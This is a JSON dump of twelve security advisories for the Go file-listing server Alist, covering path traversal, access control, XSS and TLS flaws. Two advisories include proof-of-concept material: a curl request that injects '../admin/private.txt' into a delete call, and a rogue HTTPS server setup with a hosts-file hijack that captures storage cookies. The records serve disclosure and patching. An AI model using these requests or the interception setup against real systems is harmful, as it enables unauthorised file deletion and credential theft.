{"ecosystem":"go","package":"github.com/alist-org/alist/v3","version":null,"bugs":[{"id":5202,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.57.0","bug_id":"osv:GHSA-x4q4-7phh-42j9","title":"Alist vulnerable to Path Traversal in multiple file operation handlers","description":"### Summary\nThe application contains a Path Traversal vulnerability (CWE-22) in multiple file operation handlers. An authenticated attacker can bypass directory-level authorisation by injecting traversal sequences into filename components, enabling unauthorised file removal, movement and copying across user boundaries within the same storage mount.\n\n### Details\nThe application contains a Path Traversal vulnerability (CWE-22) in multiple file operation handlers ([server/handles/fsmanage.go](https://github.com/AlistGo/alist/blob/main/server/handles/fsmanage.go), [server/handles/fsbatch.go](https://github.com/AlistGo/alist/blob/main/server/handles/fsbatch.go), etc.). Filename components in `req.Names`, `renameObject.SrcName`, and `renameObject.NewName` are directly concatenated with validated directories using `stdpath.Join()` or `fmt.Sprintf()`. This allows \"..\" sequences to bypass path restrictions, enabling users to access other users' files within the same storage mount and perform unauthorized actions such as deletion, renaming, or copying of files.\n\n[FsRemove](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/server/handles/fsmanage.go#L253-L254):\n~~~go\nfunc FsRemove(c *gin.Context) {\n\t// ...\n\tfor _, name := range req.Names {\n\t\terr := fs.Remove(c, stdpath.Join(reqDir, name))\n~~~\n\n[FsCopy](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/server/handles/fsmanage.go#L165-L166):\n~~~go\nfunc FsCopy(c *gin.Context) {\n\t// ...\n\tfor i, name := range req.Names {\n\t\tt, err := fs.Copy(c, stdpath.Join(srcDir, name), dstDir, len(req.Names) > i+1)\n~~~\n\n[FsBatchRename](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/server/handles/fsbatch.go#L188-L189):\n~~~go\nfunc FsBatchRename(c *gin.Context) {\n    // ...\n    for _, renameObject := range req.RenameObjects {\n        filePath := fmt.Sprintf(\"%s/%s\", reqPath, renameObject.SrcName)  // Vulnerable concatenation ✗\n        fs.Rename(c, filePath, renameObject.NewName)\n    }\n}\n~~~\n\n\n#### PoC\n1. Environment setup:\n- Storage mount '/shared' configured with multiple users.\n- Alice has base path '/shared/alice'.\n- Admin has base path '/shared/admin' with private files.\n- Both users operate within the same storage mount.\n\n2. Craft Malicious Request:\nAlice sends a POST request to _/api/fs/remove_ containing a filename with '../' in it.\n~~~bash\ncurl -X POST -H  \"Content-Type: application/json\" -d '{\"dir\":\"/\",\"names\":[\"../admin/private.txt\"]}' http://localhost:5244/api/fs/remove\n~~~\n\nAdmin's file is deleted without Alice having authorisation for Admin's directory.\n\n[Video](https://github.com/user-attachments/assets/5789fa36-c82c-4781-a5f7-145f54689ada)\n\n\n### Impact\nThis vulnerability enables privilege escalation within shared storage environments. An authenticated attacker with basic file operation permissions (remove/rename/copy/move) can bypass directory-level authorisation controls when multiple users exist within the same storage mount.\n\n#### Attack Requirements:\n1. Authenticated user account (not guest)\n2. Basic file operation permissions\n3. Multi-user environment within the same storage mount\n\n#### Consequences:\n1. Unauthorised data access: Read, copy, and exfiltrate files from other users' directories\n2. Data destruction: Delete or rename files belonging to other users\n3. Access control bypass: Circumvent directory isolation mechanisms\n4. Integrity violation: Modify or move files across user boundaries\n\n\n### Credit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are questions regarding the vulnerability details, please feel free to reach out for further discussion at xlabai@tencent.com.","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/AlistGo/alist/security/advisories/GHSA-x4q4-7phh-42j9","labels":["CVE-2026-25161","GO-2026-4415"],"created_at":"2026-04-26 03:01:54.974969+00:00","updated_at":"2026-04-26 03:01:54.974969+00:00"},{"id":5200,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":null,"bug_id":"osv:GHSA-hh54-53m7-7ffj","title":"alist Incorrect Access Control vulnerability","description":"alist <=3.16.3 is vulnerable to Incorrect Access Control. Low privilege accounts can upload any file.","severity":"high","status":"open","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2023-33498","labels":["CVE-2023-33498"],"created_at":"2026-04-26 03:01:54.969709+00:00","updated_at":"2026-04-26 03:01:54.969709+00:00"},{"id":5196,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.5.1","bug_id":"osv:GHSA-4gjr-vgfx-9qvw","title":"AList vulnerable to Improper Preservation of Permissions","description":"Alist v3.4.0 is vulnerable to File Upload. A user with only file upload permission can upload any file to any folder (even a password protected one). Version 3.5.1 contains a patch.","severity":"high","status":"fixed","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2022-45968","labels":["CVE-2022-45968","GO-2022-1161"],"created_at":"2026-04-26 03:01:54.958866+00:00","updated_at":"2026-04-26 03:01:54.958866+00:00"},{"id":5207,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.57.0","bug_id":"osv:GO-2026-4415","title":"Alist vulnerable to Path Traversal in multiple file operation handlers in github.com/alist-org/alist","description":"Alist vulnerable to Path Traversal in multiple file operation handlers in github.com/alist-org/alist","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/AlistGo/alist/security/advisories/GHSA-x4q4-7phh-42j9","labels":["CVE-2026-25161","GHSA-x4q4-7phh-42j9"],"created_at":"2026-04-26 03:01:54.988249+00:00","updated_at":"2026-04-26 03:01:54.988249+00:00"},{"id":5206,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.57.0","bug_id":"osv:GO-2026-4414","title":"Alist has Insecure TLS Config in github.com/alist-org/alist","description":"Alist has Insecure TLS Config in github.com/alist-org/alist","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/AlistGo/alist/security/advisories/GHSA-8jmm-3xwx-w974","labels":["CVE-2026-25160","GHSA-8jmm-3xwx-w974"],"created_at":"2026-04-26 03:01:54.985536+00:00","updated_at":"2026-04-26 03:01:54.985536+00:00"},{"id":5205,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.29.0","bug_id":"osv:GO-2024-3190","title":"Alist reflected Cross-Site Scripting vulnerability in github.com/alist-org/alist","description":"Alist reflected Cross-Site Scripting vulnerability in github.com/alist-org/alist","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/advisories/GHSA-8pph-gfhp-w226","labels":["CVE-2024-47067","GHSA-8pph-gfhp-w226"],"created_at":"2026-04-26 03:01:54.982967+00:00","updated_at":"2026-04-26 03:01:54.982967+00:00"},{"id":5204,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.6.0","bug_id":"osv:GO-2022-1171","title":"Alist vulnerable to Path Traversal in github.com/alist-org/alist","description":"Alist vulnerable to Path Traversal in github.com/alist-org/alist","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/advisories/GHSA-pmg2-rph8-p8r6","labels":["CVE-2022-45969","GHSA-pmg2-rph8-p8r6"],"created_at":"2026-04-26 03:01:54.980299+00:00","updated_at":"2026-04-26 03:01:54.980299+00:00"},{"id":5203,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.5.1","bug_id":"osv:GO-2022-1161","title":"AList vulnerable to Improper Preservation of Permissions in github.com/alist-org/alist","description":"AList vulnerable to Improper Preservation of Permissions in github.com/alist-org/alist","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/advisories/GHSA-4gjr-vgfx-9qvw","labels":["CVE-2022-45968","GHSA-4gjr-vgfx-9qvw"],"created_at":"2026-04-26 03:01:54.977681+00:00","updated_at":"2026-04-26 03:01:54.977681+00:00"},{"id":5199,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":null,"bug_id":"osv:GHSA-957m-g6rf-4c2m","title":"Alist Cross-site Scripting vulnerability","description":"Alist v3.5.1 is vulnerable to Cross Site Scripting (XSS) via the bulletin board.","severity":"medium","status":"open","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2022-45970","labels":["CVE-2022-45970"],"created_at":"2026-04-26 03:01:54.967074+00:00","updated_at":"2026-04-26 03:01:54.967074+00:00"},{"id":5198,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.29.0","bug_id":"osv:GHSA-8pph-gfhp-w226","title":"Alist reflected Cross-Site Scripting vulnerability","description":"AList is a file list program that supports multiple storages. AList contains a reflected cross-site scripting vulnerability in helper.go. The endpoint /i/:link_name takes in a user-provided value and reflects it back in the response. The endpoint returns an application/xml response, opening it up to HTML tags via XHTML and thus leading to a XSS vulnerability. This vulnerability is fixed in 3.29.0.","severity":"medium","status":"fixed","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47067","labels":["CVE-2024-47067","GO-2024-3190"],"created_at":"2026-04-26 03:01:54.964414+00:00","updated_at":"2026-04-26 03:01:54.964414+00:00"},{"id":5201,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.6.0","bug_id":"osv:GHSA-pmg2-rph8-p8r6","title":"Alist vulnerable to Path Traversal","description":"In versions of Alist prior to 3.6.0, a user with only file upload permission can bypass the base path restriction by using '... /' to bypass the base path restriction and upload files to an arbitrary path.","severity":"critical","status":"fixed","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2022-45969","labels":["CVE-2022-45969","GO-2022-1171"],"created_at":"2026-04-26 03:01:54.972314+00:00","updated_at":"2026-04-26 03:01:54.972314+00:00"},{"id":5197,"ecosystem":"go","package_name":"github.com/alist-org/alist/v3","affected_version":null,"fixed_version":"3.57.0","bug_id":"osv:GHSA-8jmm-3xwx-w974","title":"Alist has Insecure TLS Config","description":"### Summary\nThe application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\n### Details\nCertificate verification is disabled by default for all storage driver communications.\n\nThe `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159).\n\n~~~go\nfunc DefaultConfig() *Config {\n    // ...\n    TlsInsecureSkipVerify: true,\n    // ...\n}\n~~~\n\nThis vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. \n\n\n\n#### PoC\nThe /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.\n\nThe purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers.\n\n[Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d)\n\n\n\n##### Setup a malicious https server:\n\nssl.conf:\n~~~\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule log_config_module modules/mod_log_config.so\n\nListen 443\n\nLogFormat \"%h %l %u %t \\\"%r\\\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i\" headers\nCustomLog \"/usr/local/apache2/logs/headers.log\" headers\n\n<VirtualHost _default_:443>\n    DocumentRoot \"/usr/local/apache2/htdocs\"\n    ServerName localhost\n\n    SSLEngine on\n    SSLCertificateFile \"/usr/local/apache2/conf/server.crt\"\n    SSLCertificateKeyFile \"/usr/local/apache2/conf/server.key\"\n\n    ErrorLog \"/usr/local/apache2/logs/ssl_error.log\"\n\n    <Directory \"/usr/local/apache2/htdocs\">\n        Options Indexes FollowSymLinks\n        AllowOverride None\n        Require all granted\n    </Directory>\n</VirtualHost>\n~~~\n\nDockerfile:\n~~~\nFROM httpd:2.4\n\n# Copy SSL config\nCOPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf\n\n# Include SSL config in main httpd.conf\nRUN echo \"Include conf/extra/ssl.conf\" >> /usr/local/apache2/conf/httpd.conf\n\n# Copy certs\nCOPY certs/server.crt /usr/local/apache2/conf/server.crt\nCOPY certs/server.key /usr/local/apache2/conf/server.key\n~~~\n\nScripts to run https server:\n\n~~~bash\nmkdir certs\nopenssl req -x509 -nodes -days 365 \\\n  -newkey rsa:2048 \\\n  -keyout certs/server.key \\\n  -out certs/server.crt\ndocker build -t httpd-ssl .\ndocker run -dit --name my-https-server httpd-ssl\n~~~\n\n##### Run alist\n~~~bash\ndocker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name=\"alist\" alist666/alist:latest\n~~~\n\nSimulate DNS hijacking: Modify container's /etc/hosts to redirect www.weiyun.com to malicious server\n~~~\n<IP of HTTPS Server>      www.weiyun.com\n~~~\n\nIn the front end, add a weiyun storage and inspect log on tls server:\n~~~\nroot@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log\n172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] \"GET /disk HTTP/1.1\" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret=\n~~~\n\nNote that the cookie is in the log.\n\n### Impact\nThis misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\nThis vulnerability affects all alist deployment.\n\n### Credit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at xlabai@tencent.com.","severity":"critical","status":"fixed","source":"osv","source_url":"https://github.com/AlistGo/alist/security/advisories/GHSA-8jmm-3xwx-w974","labels":["CVE-2026-25160","GO-2026-4414"],"created_at":"2026-04-26 03:01:54.961669+00:00","updated_at":"2026-04-26 03:01:54.961669+00:00"}],"total":12,"_cache":"hit"}